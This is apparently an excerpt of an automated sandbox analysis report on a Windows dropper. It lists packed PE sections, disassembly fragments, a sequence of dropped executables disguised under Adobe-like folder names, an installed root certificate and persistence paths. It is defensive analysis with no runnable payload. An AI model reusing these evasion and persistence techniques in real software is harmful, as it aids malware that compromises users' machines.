Source: lumma1504[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x51fa4
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4a74cf
Source: FSYOvyvMMT80PCsMousFK1Xa.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x6e75f
Source: 060[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3428c5
Source: cad54ba5b01423b1af8ec10ab5719d97[1].exe.0.dr	Static PE information: real checksum: 0x443bbc should be: 0x4411b9
Source: cjlnYlPYSIAljKunxGKtil91.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x7fbb4

Source: qk9TaBBxh8.exe	Static PE information: section name: _RDATA
Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: qk9TaBBxh8.exe	Static PE information: section name: .themida
Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: setup294[1].exe.0.dr	Static PE information: section name: .didat
Source: T9n2wvLQ1PO2GfTxLTyp21hE.exe.0.dr	Static PE information: section name: .didat
Source: grabber[1].exe.0.dr	Static PE information: section name: _RDATA
Source: Jsakr_KmqehdR6ptAH1OzwuM.exe.0.dr	Static PE information: section name: _RDATA
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: 45NBK9axc23mjqmbKvmG0NYP.exe.0.dr	Static PE information: section name: .sxdata
Source: Space_bake[1].exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vm_sec
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .themida
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vm_sec
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .themida
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe.0.dr	Static PE information: section name: .xdata
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name: .themida
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vm_sec
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .themida
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vm_sec
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .themida
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: 123p[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 123p[1].exe.0.dr	Static PE information: section name: .text0
Source: 123p[1].exe.0.dr	Static PE information: section name: .text1
Source: 123p[1].exe.0.dr	Static PE information: section name: .text2
Source: bKj5ORDxbqgwdZav4hyONQmM.exe.0.dr	Static PE information: section name: .00cfg
Source: bKj5ORDxbqgwdZav4hyONQmM.exe.0.dr	Static PE information: section name: .text0
Source: bKj5ORDxbqgwdZav4hyONQmM.exe.0.dr	Static PE information: section name: .text1
Source: bKj5ORDxbqgwdZav4hyONQmM.exe.0.dr	Static PE information: section name: .text2
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .themida
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .themida
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA00C2 push esi; mov dword ptr [esp], ebp	7_2_00E80367
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA00C2 push 4F06C92Dh; mov dword ptr [esp], eax	7_2_00E803EE
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA00C2 push 7636159Eh; mov dword ptr [esp], ebp	7_2_00E8040E
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA00C2 push ebp; mov dword ptr [esp], ebx	7_2_00E80437
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA00C2 push eax; mov dword ptr [esp], 091E1DA7h	7_2_00E8043B
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA00C2 push 0812876Eh; mov dword ptr [esp], edx	7_2_00E80453
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA10DF push 61DAC6FAh; mov dword ptr [esp], ebx	7_2_00E8D06B
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA10DF push 0D85E02Fh; mov dword ptr [esp], ebx	7_2_00E8D07E
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA10DF push edi; mov dword ptr [esp], edx	7_2_00E8D106
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA10DF push 2D7165BDh; mov dword ptr [esp], eax	7_2_00E8D136
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA10DF push 113FA432h; mov dword ptr [esp], edx	7_2_00E8D185
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA10DF push esi; mov dword ptr [esp], edi	7_2_00E8D1B4
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA10DF push 16F8509Dh; mov dword ptr [esp], ebp	7_2_00E8D1F2
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push edi; mov dword ptr [esp], 74987DF3h	7_2_00E8B466
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push 0A356C75h; mov dword ptr [esp], edx	7_2_00E8B4A6
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push 2DB481B2h; mov dword ptr [esp], ebp	7_2_00E8B4BE
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push edi; mov dword ptr [esp], 000AAB40h	7_2_00E8B4F4
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push ecx; mov dword ptr [esp], edi	7_2_00E8B544
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push 67A52874h; mov dword ptr [esp], esi	7_2_00E8B55D
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push 4DB8E5FAh; mov dword ptr [esp], esi	7_2_00E8B56B
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push ebp; mov dword ptr [esp], esi	7_2_00E8B5C7
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9C0DE push ecx; mov dword ptr [esp], 689A5673h	7_2_00E8B5DE
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9A085 push esi; mov dword ptr [esp], ecx	7_2_00E83CF7
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9A085 push ecx; mov dword ptr [esp], edi	7_2_00E83D18
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9A085 push edx; mov dword ptr [esp], 1C8962A3h	7_2_00E83D62
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9A085 push 27573FFCh; mov dword ptr [esp], eax	7_2_00E83DAF
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9F059 push eax; mov dword ptr [esp], ecx	7_2_00E7F5E2
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9F059 push 4E72897Dh; mov dword ptr [esp], ebp	7_2_00E7F5F3
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9F059 push 390B7670h; mov dword ptr [esp], ebx	7_2_00E7F5FB
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9F059 push edi; mov dword ptr [esp], 000AA9F8h	7_2_00E7F62C
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9F059 push ecx; mov dword ptr [esp], 0B2FAB06h	7_2_00E7F68F

Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name: entropy: 7.999611881196484
Source: lumma1504[1].exe.7.dr	Static PE information: section name: .text entropy: 7.996781792059311
Source: JpL3YVeZ0uQ2FWGpg5WG.exe.7.dr	Static PE information: section name: .text entropy: 7.996781792059311

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Jump to dropped file

Found pyInstaller with non standard icon

Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe

Process created: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\charset_normalizer\md.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\d4814c7a[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\charset_normalizer\md__mypyc.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	File created: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\pywin32_system32\pywintypes38.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\setup294[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\python38.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\exe\upx.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\exe\registers.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\setup[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\Pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\is-EGFT5.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\rules[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\grabber[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\pywin32_system32\pythoncom38.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File created: C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\JpL3YVeZ0uQ2FWGpg5WG.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_setup64.tmp	Jump to dropped file
